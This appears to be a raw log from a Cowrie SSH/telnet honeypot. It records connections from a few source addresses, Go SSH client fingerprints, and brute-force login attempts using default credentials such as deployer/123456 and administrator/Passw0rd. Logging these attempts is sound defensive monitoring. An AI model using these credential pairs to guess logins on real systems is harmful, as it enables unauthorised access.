{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:18.241560Z","src_ip":"45.156.87.147","session":"3086413921a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.25513672828674,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:18.723248Z","src_ip":"172.81.62.90","session":"979a91a73b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51756,"dst_ip":"10.17.0.5","dst_port":22,"session":"832555d490db","protocol":"ssh","message":"New connection: 91.92.42.227:51756 (10.17.0.5:22) [session: 832555d490db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:19.357596Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:19.389160Z","src_ip":"45.156.87.147","session":"3086413921a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:19.619391Z","src_ip":"91.92.42.227","session":"d1e8063add01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":56176,"dst_ip":"10.17.0.5","dst_port":23,"session":"66fa67d5d2d4","protocol":"telnet","message":"New connection: 94.23.66.112:56176 (10.17.0.5:23) [session: 66fa67d5d2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:19.896730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:20.694683Z","src_ip":"91.92.42.227","session":"832555d490db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:20.698060Z","src_ip":"91.92.42.227","session":"832555d490db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:22.033662Z","src_ip":"91.92.42.227","session":"d1e8063add01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50838,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d35778a714","protocol":"ssh","message":"New connection: 45.156.87.147:50838 (10.17.0.5:22) [session: 57d35778a714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:24.075506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:24.079454Z","src_ip":"45.156.87.147","session":"57d35778a714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:24.169959Z","src_ip":"45.156.87.147","session":"57d35778a714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:24.427687Z","src_ip":"45.156.87.147","session":"57d35778a714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:25.516098Z","src_ip":"45.156.87.147","session":"57d35778a714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59926,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c331466364","protocol":"ssh","message":"New connection: 91.92.42.227:59926 (10.17.0.5:22) [session: f8c331466364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:25.753013Z"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:27.044264Z","src_ip":"91.92.42.227","session":"832555d490db","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:27.753188Z","src_ip":"91.92.42.227","session":"f8c331466364","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:27.772622Z","src_ip":"91.92.42.227","session":"f8c331466364","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.383310556411743,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:28.279904Z","src_ip":"94.23.66.112","session":"66fa67d5d2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:29.732710Z","src_ip":"91.92.42.227","session":"832555d490db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57350,"dst_ip":"10.17.0.5","dst_port":22,"session":"18b3a41d6998","protocol":"ssh","message":"New connection: 45.156.87.147:57350 (10.17.0.5:22) [session: 18b3a41d6998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:30.078370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:30.091933Z","src_ip":"45.156.87.147","session":"18b3a41d6998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:30.175160Z","src_ip":"45.156.87.147","session":"18b3a41d6998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:30.426262Z","src_ip":"45.156.87.147","session":"18b3a41d6998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:31.511074Z","src_ip":"45.156.87.147","session":"18b3a41d6998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2763c49ba78","protocol":"ssh","message":"New connection: 91.92.42.227:59978 (10.17.0.5:22) [session: d2763c49ba78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:32.043323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:33.720175Z","src_ip":"91.92.42.227","session":"d2763c49ba78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:33.723046Z","src_ip":"91.92.42.227","session":"d2763c49ba78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:35.389519Z","src_ip":"91.92.42.227","session":"f8c331466364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0267bc340ba2","protocol":"ssh","message":"New connection: 45.156.87.147:57354 (10.17.0.5:22) [session: 0267bc340ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:35.894660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:35.901870Z","src_ip":"45.156.87.147","session":"0267bc340ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:35.984481Z","src_ip":"45.156.87.147","session":"0267bc340ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:36.235399Z","src_ip":"45.156.87.147","session":"0267bc340ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:37.319224Z","src_ip":"45.156.87.147","session":"0267bc340ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:38.223377Z","src_ip":"91.92.42.227","session":"f8c331466364","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36224,"dst_ip":"10.17.0.5","dst_port":22,"session":"86d6a94d8659","protocol":"ssh","message":"New connection: 91.92.42.227:36224 (10.17.0.5:22) [session: 86d6a94d8659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:39.342221Z"}
{"eventid":"cowrie.session.closed","duration":30.20090103149414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:39.856451Z","src_ip":"128.199.8.54","session":"9c4c00f16749","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:40.874906Z","src_ip":"91.92.42.227","session":"86d6a94d8659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:40.878287Z","src_ip":"91.92.42.227","session":"86d6a94d8659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:41.392115Z","src_ip":"91.92.42.227","session":"d2763c49ba78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37610,"dst_ip":"10.17.0.5","dst_port":22,"session":"49cbe4b3e515","protocol":"ssh","message":"New connection: 45.156.87.147:37610 (10.17.0.5:22) [session: 49cbe4b3e515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:41.793621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:41.797958Z","src_ip":"45.156.87.147","session":"49cbe4b3e515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:41.882555Z","src_ip":"45.156.87.147","session":"49cbe4b3e515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:42.142264Z","src_ip":"45.156.87.147","session":"49cbe4b3e515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:43.227615Z","src_ip":"45.156.87.147","session":"49cbe4b3e515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:45:44.965027Z","src_ip":"91.92.42.227","session":"d2763c49ba78","protocol":"ssh"}
